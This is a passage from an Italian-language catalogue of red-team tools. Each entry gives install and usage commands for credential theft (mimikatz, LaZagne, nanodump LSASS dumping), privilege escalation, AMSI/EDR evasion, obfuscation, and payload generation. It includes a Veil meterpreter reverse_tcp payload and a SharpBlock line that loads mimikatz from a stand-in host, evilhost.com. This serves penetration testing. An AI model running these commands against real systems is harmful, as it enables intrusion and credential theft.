Certify può quindi essere caricato in uno script PowerShell con il seguente (dove "aa..." viene sostituito con la stringa dell'assembly di Certify codificata in base64):``` $CertifyAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
Il metodo Main() e qualsiasi argomento possono quindi essere invocati come segue:```
[Certify.Program]::Main("find /vulnerable".Split())
Istruzioni complete per la compilazione possono essere trovate qui.
Utilizzo:```bash
Certify.exe find /vulnerable
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadmin
Full example walkthrough can be found [here](https://github.com/GhostPack/Certify#example-walkthrough).
### [🔙](#tool-list)[Get-GPPPassword](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1)
Get-GPPPassword è uno script PowerShell parte del toolkit PowerSploit, progettato per recuperare le password degli account locali creati e gestiti tramite Group Policy Preferences (GPP).
Get-GPPPassword funziona cercando nella cartella SYSVOL del controller di dominio i file GPP che contengono informazioni sulle password. Una volta trovati questi file, decifra le informazioni sulle password e le mostra all'utente.
**Installazione:**
Segui le [istruzioni di installazione](https://github.com/A-poc/RedTeam-Tools#powersploit) di PowerSploit da questa scheda dello strumento.```bash
powershell.exe -ep bypass
Import-Module PowerSploit
Uso:```bash
Get-GPPPassword
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
### [🔙](#tool-list)[Sherlock](https://github.com/rasta-mouse/Sherlock)
Script PowerShell per trovare rapidamente patch software mancanti per vulnerabilità di escalation dei privilegi locali.
_Supporta:_
- MS10-015 : Modalità utente ad anello (KiTrap0D)
- MS10-092 : Task Scheduler
- MS13-053 : NTUserMessageCall Win32k kernel pool overflow
- MS13-081 : TrackPopupMenuEx Win32k pagina NULL
- MS14-058 : TrackPopupMenu Win32k dereferenziazione puntatore nullo
- MS15-051 : ClientCopyImage Win32k
- MS15-078 : Font Driver buffer overflow
- MS16-016 : 'mrxdav.sys' WebDAV
- MS16-032 : Handle di accesso secondario
- MS16-034 : Driver in modalità kernel di Windows EoP
- MS16-135 : Win32k escalation dei privilegi
- CVE-2017-7199 : Nessus Agent 6.6.2 - 6.10.3 escalation privilegi
**Installazione: (PowerShell)**```bash
# Git install
git clone https://github.com/rasta-mouse/Sherlock
# Load powershell module
Import-Module -Name C:\INSTALL_LOCATION\Sherlock\Sherlock.ps1
Utilizzo: (PowerShell)```bash
Find-AllVulns
Find-MS14058
_Immagine utilizzata da https://vk9-sec.com/sherlock-find-missing-windows-patches-for-local-privilege-escalation/_
### [🔙](#tool-list)[Watson](https://github.com/rasta-mouse/Watson)
Watson è uno strumento .NET progettato per enumerare KB mancanti e suggerire exploit per vulnerabilità di escalation dei privilegi.
Ottimo per identificare patch mancanti e suggerire exploit che potrebbero essere utilizzati per sfruttare vulnerabilità note al fine di ottenere privilegi più elevati sul sistema.
**Installazione:**
Utilizzando [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Aprire il [progetto Watson .sln](https://github.com/rasta-mouse/Watson), scegliere "Release" e compilare.
**Utilizzo:**```bash
# Run all checks
Watson.exe
Testo dell'immagine tratto da https://github.com/rasta-mouse/Watson#usage
Uno strumento basato su C# che automatizza il processo di scoperta e sfruttamento dei DLL Hijack in binari target.
I percorsi hijacked scoperti possono essere armati durante un attacco per eludere gli EDR.
Installazione:
Nota: i prerequisiti i e ii devono essere collocati nella directory stessa di ImpulsiveDLLHijacks.exe.
Informazioni di build e configurazione:
ImpulsiveDLLHijack
E per le DLL di conferma:
Configurazione: Copia le DLL di conferma (maldll32 & maldll64) nella directory di ImpulsiveDLLHijack.exe ed esegui ImpulsiveDLLHijack.exe :))
Istruzioni di installazione da https://github.com/knight0x07/ImpulsiveDLLHijack#2-prerequisites
Utilizzo:```bash
ImpulsiveDLLHijack.exe -h
ImpulsiveDLLHijack.exe -path BINARY_PATH
Esempi di utilizzo sono disponibili [qui](https://github.com/knight0x07/ImpulsiveDLLHijack#4-examples).
_Immagine utilizzata da https://github.com/knight0x07/ImpulsiveDLLHijack#4-examples_
### [🔙](#tool-list)[ADFSDump](https://github.com/mandiant/ADFSDump)
Uno strumento C# per scaricare vari tipi di dati utili da AD FS.
Creato da Doug Bienstock [@doughsec](https://twitter.com/doughsec) mentre lavorava presso Mandiant FireEye.
Questo strumento è progettato per essere eseguito insieme a ADFSpoof. ADFSdump restituirà tutte le informazioni necessarie per generare token di sicurezza utilizzando ADFSpoof.
**Requisiti:**
- ADFSDump deve essere eseguito nel contesto utente dell'account di servizio AD FS. Puoi ottenere queste informazioni eseguendo un elenco dei processi sul server AD FS o dall'output del cmdlet Get-ADFSProperties. Solo l'account di servizio AD FS ha le autorizzazioni necessarie per accedere al database di configurazione. Nemmeno un DA può accedervi.
- ADFSDump presuppone che il servizio sia configurato per utilizzare il database interno di Windows (WID). Sebbene sarebbe banale supportare un server SQL esterno, questa funzionalità non esiste al momento.
- ADFSDump deve essere eseguito localmente su un server AD FS, NON su un proxy dell'applicazione Web AD FS. Il WID può essere accessibile solo localmente tramite una named pipe.
**Installazione: (Compilazione)**
ADFSDump è stato sviluppato con .NET 4.5 e Visual Studio 2017 Community Edition. Basta aprire il file .sln del progetto, selezionare "Release" e compilare.
**Utilizzo: (Flags)**```bash
# The Active Directory domain to target. Defaults to the current domain.
/domain:
# The Domain Controller to target. Defaults to the current DC.
/server:
# Switch. Toggle to disable outputting the DKM key.
/nokey
# (optional) SQL connection string if ADFS is using remote MS SQL rather than WID.
/database
Blog - Esplorare l'attacco Golden SAML contro ADFS
Immagine utilizzata da https://www.orangecyberdefense.com/global/blog/cloud/exploring-the-golden-saml-attack-against-adfs
Un offuscatore di comandi e script PowerShell compatibile con PowerShell v2.0+. Se un endpoint vittima è in grado di eseguire PowerShell, questo strumento è ottimo per creare script pesantemente offuscati.
Installazione:```bash git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
**Uso:**```bash
./Invoke-Obfuscation
Veil è uno strumento per generare payload metasploit che bypassano le comuni soluzioni antivirus.
Può essere utilizzato per generare shellcode offuscato; per maggiori informazioni, consulta il blog ufficiale del veil framework.
Installazione: (Kali)```bash apt -y install veil /usr/share/veil/config/setup.sh --force --silent
**Installa: (Git)**```bash
sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent
Uso:```bash
./Veil.py -t Ordnance --list-payloads
./Veil.py -t Ordnance --list-encoders
./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234
./Veil.py -t Evasion --list-payloads
./Veil.py -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chris
I creatori di Veil hanno scritto un bel [post sul blog](https://www.veil-framework.com/veil-command-line-usage/) che spiega ulteriormente l'uso da riga di comando di ordnance ed evasion.
### [🔙](#tool-list)[SharpBlock](https://github.com/CCob/SharpBlock)
Un metodo per bypassare le DLL di proiezione attiva degli EDR impedendo l'esecuzione del punto di ingresso.
**Caratteristiche:**
- Blocca l'esecuzione del punto di ingresso delle DLL degli EDR, impedendo il posizionamento degli hook EDR.
- Bypass AMSI senza patch, non rilevabile dagli scanner che cercano patch del codice di Amsi.dll in fase di esecuzione.
- Processo host che viene sostituito con un PE impiantato che può essere caricato da disco, HTTP o named pipe (Cobalt Strike).
- Il processo impiantato è nascosto per aiutare a eludere gli scanner che cercano processi hollowed.
- Gli argomenti della riga di comando vengono falsificati e impiantati dopo la creazione del processo utilizzando un metodo di rilevamento EDR furtivo.
- Bypass ETW senza patch.
- Blocca l'invocazione di NtProtectVirtualMemory quando il chiamante si trova all'interno dell'intervallo dello spazio di indirizzi di una DLL bloccata.
**Installazione:**
Utilizzare [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/) per compilare il binario SharpBlock.
Aprire il progetto SharpBlock [.sln](https://github.com/CCob/SharpBlock), scegliere "Release" e compilare.
**Utilizzo:**```bash
# Launch mimikatz over HTTP using notepad as the host process, blocking SylantStrike's DLL
SharpBlock -e http://evilhost.com/mimikatz.bin -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
# Launch mimikatz using Cobalt Strike beacon over named pipe using notepad as the host process, blocking SylantStrike's DLL
execute-assembly SharpBlock.exe -e \\.\pipe\mimi -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
upload_file /home/haxor/mimikatz.exe \\.\pipe\mimi
Bel post sul blog di PenTestPartners qui.
Immagine tratta da https://youtu.be/0W9wkamknfM
Alcatraz è un offuscatore binario GUI x64 in grado di offuscare vari file PE diversi, tra cui:
Alcune funzionalità di offuscamento supportate includono:
Installazione: (Requisiti)
Installa: https://vcpkg.io/en/getting-started.html```bash vcpkg.exe install asmjit:x64-windows vcpkg.exe install zydis:x64-windows
**Utilizzo:**
Utilizzo della GUI per offuscare un binario:
1. Carica un binario cliccando su `file` nell'angolo in alto a sinistra.
2. Aggiungi funzioni espandendo l'albero `Functions`. (Puoi cercare inserendo il nome nella barra di ricerca in alto)
3. Premi `compile` (**Nota:** _Offuscare molte funzioni potrebbe richiedere alcuni secondi_)
_Immagine utilizzata da https://github.com/weak1337/Alcatraz_
### [🔙](#tool-list)[Mangle](https://github.com/optiv/Mangle)
Mangle è uno strumento che manipola aspetti degli eseguibili compilati (.exe o DLL).
Mangle può rimuovere stringhe note basate su Indicator of Compromise (IoC) e sostituirle con caratteri casuali, modificare il file ingrandendo le dimensioni per evitare gli EDR, e può clonare certificati di code-signing da file legittimi.
In questo modo, Mangle aiuta i loader a eludere gli scanner su disco e in memoria.
**Installazione:**
Il primo passo, come sempre, è clonare il repository. Prima di compilare Mangle, dovrai installare le dipendenze. Per installarle, esegui i seguenti comandi:```
go get github.com/Binject/debug/pe
Poi compilalo``` git clone https://github.com/optiv/Mangle cd Mangle go build Mangle.go
**Utilizzo:**```bash
-C string
Path to the file containing the certificate you want to clone
-I string
Path to the orginal file
-M Edit the PE file to strip out Go indicators
-O string
The new file name
-S int
How many MBs to increase the file by
Full usage information can be found here.
Immagine tratta da https://github.com/optiv/Mangle
AMSI.fail è un ottimo sito web che può essere utilizzato per generare snippet PowerShell offuscati che rompono o disabilitano AMSI per il processo corrente.
Gli snippet vengono selezionati casualmente da un piccolo insieme di tecniche/variazioni prima di essere offuscati. Ogni snippet viene offuscato al runtime/richiesta in modo che nessun output generato condivida le stesse firme.
Bel blog di F-Secure che spiega AMSI qui.
Immagine tratta da http://amsi.fail/
Ottimo strumento per ottenere l'accesso a password hashate e in chiaro sull'endpoint della vittima. Una volta ottenuto l'accesso privilegiato a un sistema, carica questo strumento per raccogliere alcune credenziali.
Installazione:
mimikatz.exe si trova nella cartella x64.Utilizzo:```bash .\mimikatz.exe privilege::debug
### [🔙](#tool-list)[LaZagne](https://github.com/AlessandroZ/LaZagne)
Ottimo strumento per estrarre password memorizzate localmente da browser, database, giochi, email, git, wifi, ecc.
**Installazione: (Binary)**
Puoi installare il binario standalone da [qui](https://github.com/AlessandroZ/LaZagne/releases/).
**Utilizzo:**```bash
# Launch all modes
.\laZagne.exe all
# Launch only a specific module
.\laZagne.exe browsers
# Launch only a specific software script
.\laZagne.exe browsers -firefox
Strumento per il cracking di hash di password. Supporta un ampio elenco di algoritmi di hashing (l'elenco completo può essere trovato qui).
Installazione: Binario
È possibile installare il binario standalone da qui.
Utilizzo:```bash .\hashcat.exe --help
Nice hashcat command [cheatsheet](https://cheatsheet.haax.fr/passcracking-hashfiles/hashcat_cheatsheet/).
### [🔙](#tool-list)[John the Ripper](https://github.com/openwall/john)
Un altro cracker di password, che supporta centinaia di tipi di hash e cifrari, e funziona su molti sistemi operativi, CPU e GPU.
**Installazione:**```bash
sudo apt-get install john -y
Utilizzo:```bash john
### [🔙](#tool-list)[SCOMDecrypt](https://github.com/nccgroup/SCOMDecrypt)
Questo strumento è progettato per recuperare e decrittare le credenziali RunAs memorizzate nei database di Microsoft System Center Operations Manager (SCOM).
Post del blog NCC - ['SCOMplicated? – Decrypting SCOM “RunAs” credentials'](https://research.nccgroup.com/2017/02/23/scomplicated-decrypting-scom-runas-credentials/)
**Prerequisiti:**
Per eseguire lo strumento sono necessari privilegi amministrativi sul server SCOM. È inoltre necessario assicurarsi di avere accesso in lettura alla seguente chiave di registro:```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\MOMBins
Puoi verificare manualmente che puoi vedere il database raccogliendo i dettagli di connessione dalle seguenti chiavi:``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseServerName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseName
**Installa: (PS1)**```
git clone https://github.com/nccgroup/SCOMDecrypt
cd .\SCOMDecrypt\SCOMDecrypt\
. .\Invoke-SCOMDecrypt.ps1
Installazione: (Compilazione)
Utilizzando Visual Studio 2019 Community Edition è possibile compilare il binario SCOMDecrypt.
Aprire il file .sln del progetto SCOMDecrypt, scegliere "Release" e compilare.
Utilizzo:```bash
Invoke-SCOMDecrypt
.\SCOMDecrypt.exe
_Testo dell'immagine utilizzato da https://github.com/nccgroup/SCOMDecrypt_
### [🔙](#tool-list)[nanodump](https://github.com/helpsystems/nanodump)
LSASS (Local Security Authority Subsystem Service) è un processo di sistema nel sistema operativo Windows responsabile dell'applicazione dei criteri di sicurezza sul sistema. Si occupa di diverse attività legate alla sicurezza, tra cui l'autenticazione degli utenti per l'accesso, l'applicazione dei criteri di sicurezza e la generazione di log di audit.
La creazione di un dump di questo processo può consentire a un attaccante di estrarre hash di password o altre informazioni sensibili dalla memoria del processo, che potrebbero essere utilizzate per compromettere ulteriormente il sistema.
Ciò consente la creazione di un minidump del processo LSASS.
**Install:**```bash
git clone https://github.com/helpsystems/nanodump.git
Installa: (Linux con MinGW)```bash make -f Makefile.mingw
**Installa: (Windows with MSVC)**```bash
nmake -f Makefile.msvc
Installazione: (solo CobaltStrike)
Importa lo script NanoDump.cna su Cobalt Strike.
Maggiori informazioni sull'installazione sono disponibili qui.
Utilizzo:```bash
nanodump.x64.exe
nanodump --silent-process-exit C:\Windows\Temp\
nanodump --shtinkering
Informazioni complete sull'uso sono disponibili [qui](https://github.com/helpsystems/nanodump#1-usage).
_Immagine utilizzata da https://github.com/helpsystems/nanodump_
### [🔙](#tool-list)[eviltree](https://github.com/t3l3machus/eviltree)
Un remake autonomo in python3 del classico comando "tree" con la funzionalità aggiuntiva di cercare parole chiave/regex fornite dall'utente nei file, evidenziando quelli che contengono corrispondenze. Creato per due motivi principali:
- Mentre si cercano segreti in file di strutture di directory annidate, essere in grado di visualizzare quali file contengono parole chiave/modelli regex forniti dall'utente e dove si trovano questi file nella gerarchia delle cartelle, offre un vantaggio significativo.
- `tree` è uno strumento fantastico per analizzare le strutture delle directory. È molto utile avere un'alternativa autonoma del comando per l'enumerazione post-sfruttamento, poiché non è preinstallato su tutte le distribuzioni Linux ed è piuttosto limitato su Windows (rispetto alla versione UNIX).
**Installa:**```bash
git clone https://github.com/t3l3machus/eviltree
Uso:```bash
python3 eviltree.py -r /var/www -x ".{0,3}passw.{0,3}[=]{1}.{0,18}" -v
python3 eviltree.py -r C:\Users\USERNAME -k passw,admin,account,login,user -L 3 -v
_Immagine presa da https://github.com/t3l3machus/eviltree_
### [🔙](#tool-list)[SeeYouCM-Thief](https://github.com/trustedsec/SeeYouCM-Thief)
Strumento semplice per scaricare e analizzare automaticamente i file di configurazione dai sistemi telefonici Cisco alla ricerca di credenziali SSH.
Opzionalmente enumera anche gli utenti di Active Directory dall'API UDS.
[Blog - Sfruttare le configurazioni errate comuni nei sistemi telefonici Cisco](https://www.trustedsec.com/blog/seeyoucm-thief-exploiting-common-misconfigurations-in-cisco-phone-systems/)
**Installazione:**```bash
git clone https://github.com/trustedsec/SeeYouCM-Thief
python3 -m pip install -r requirements.txt
Utilizzo:```bash
./thief.py -H --userenum
./thief.py -H [--verbose]
./thief.py --phone [--verbose]
./thief.py --subnet [--verbose]
_Immagine tratta da https://www.trustedsec.com/blog/seeyoucm-thief-exploiting-common-misconfigurations-in-cisco-phone-systems/_
### [🔙](#tool-list)[MailSniper](https://github.com/dafthack/MailSniper)
MailSniper è uno strumento di penetration testing per cercare nelle email di un ambiente Microsoft Exchange termini specifici (password, informazioni riservate, dati sull'architettura di rete, ecc.). Può essere utilizzato da un utente non amministratore per cercare nella propria posta o da un amministratore Exchange per cercare nelle caselle di posta di tutti gli utenti di un dominio.
MailSniper include anche moduli aggiuntivi per lo spraying di password, l'enumerazione di utenti e domini, il recupero della Global Address List (GAL) da OWA ed EWS e la verifica delle autorizzazioni delle cassette postali per ogni utente Exchange di un'organizzazione.
Un bel post sul blog con maggiori informazioni [qui](https://www.blackhillsinfosec.com/introducing-mailsniper-a-tool-for-searching-every-users-email-for-sensitive-data/).
[MailSniper Field Manual](http://www.dafthack.com/files/MailSniper-Field-Manual.pdf)
**Installazione:**```
git clone https://github.com/dafthack/MailSniper
cd MailSniper
Import-Module MailSniper.ps1
Uso:```bash
Invoke-SelfSearch -Mailbox [email protected]
_Immagine utilizzata da https://patrowl.io/_
# Scoperta
### [🔙](#tool-list)[PCredz](https://github.com/lgandx/PCredz)
Questo strumento estrae numeri di carte di credito, NTLM(DCE-RPC, HTTP, SQL, LDAP, ecc.), Kerberos (AS-REQ Pre-Auth etype 23), HTTP Basic, SNMP, POP, SMTP, FTP, IMAP, ecc. da un file pcap o da un'interfaccia live.
**Installazione:**```bash
git clone https://github.com/lgandx/PCredz
Uso: (PCAP File Folder)```python python3 ./Pcredz -d /tmp/pcap-directory-to-parse/
**Utilizzo:** (Cattura dal vivo)```python
python3 ./Pcredz -i eth0 -v
Ping Castle è uno strumento progettato per valutare rapidamente il livello di sicurezza di Active Directory con una metodologia basata sulla valutazione dei rischi e un framework di maturità. Non mira a una valutazione perfetta, ma piuttosto a un compromesso di efficienza.
Installazione: (Download)``` https://github.com/vletoux/pingcastle/releases/download/2.11.0.1/PingCastle_2.11.0.1.zip
**Utilizzo:**```python
./PingCastle.exe
Seatbelt è uno strumento utile per raccogliere informazioni dettagliate sulla postura di sicurezza di una macchina Windows target al fine di identificare potenziali vulnerabilità e vettori di attacco.
È progettato per essere eseguito su una macchina vittima compromessa per raccogliere informazioni sulla configurazione di sicurezza corrente, inclusi dettagli su software installato, servizi, criteri di gruppo e altre impostazioni relative alla sicurezza.
Installazione: (Compilazione)
Seatbelt è stato sviluppato per .NET 3.5 e 4.0 con funzionalità C# 8.0 ed è compatibile con Visual Studio Community Edition.
Aprire il file .sln del progetto, selezionare "release" e compilare.
Utilizzo:```bash
Seatbelt.exe -group=all -full > output.txt
Seatbelt.exe "LogonEvents 30"
Seatbelt.exe "reg "HKLM\SOFTWARE\Microsoft\Windows Defender" 3 .defini. true"
Seatbelt.exe -group=remote -computername=192.168.230.209 -username=THESHIRE\sam -password="yum "po-ta-toes""
I gruppi di comandi completi e i parametri possono essere trovati [qui](https://github.com/GhostPack/Seatbelt#command-groups).
_Immagine utilizzata da https://exord66.github.io/csharp-in-memory-assemblies_
### [🔙](#tool-list)[ADRecon](https://github.com/sense-of-security/adrecon)
Ottimo strumento per raccogliere informazioni sull'ambiente Microsoft Active Directory (AD) di una vittima, con supporto per output Excel.
Può essere eseguito da qualsiasi workstation connessa all'ambiente, anche su host che non sono membri del dominio.
[BlackHat USA 2018 SlideDeck](https://speakerdeck.com/prashant3535/adrecon-bh-usa-2018-arsenal-and-def-con-26-demo-labs-presentation)
**Prerequisiti**
- .NET Framework 3.0 o successivo (Windows 7 include 3.0)
- PowerShell 2.0 o successivo (Windows 7 include 2.0)
**Installazione: (Git)**```bash
git clone https://github.com/sense-of-security/ADRecon.git
Installazione: (Scarica)
Puoi scaricare un archivio zip dell'ultima versione.
Utilizzo:```bash
PS C:> .\ADRecon.ps1
PS C:>.\ADRecon.ps1 -DomainController -Credential <domain\username>
PS C:>.\ADRecon.ps1 -Protocol LDAP -DomainController -Credential <domain\username>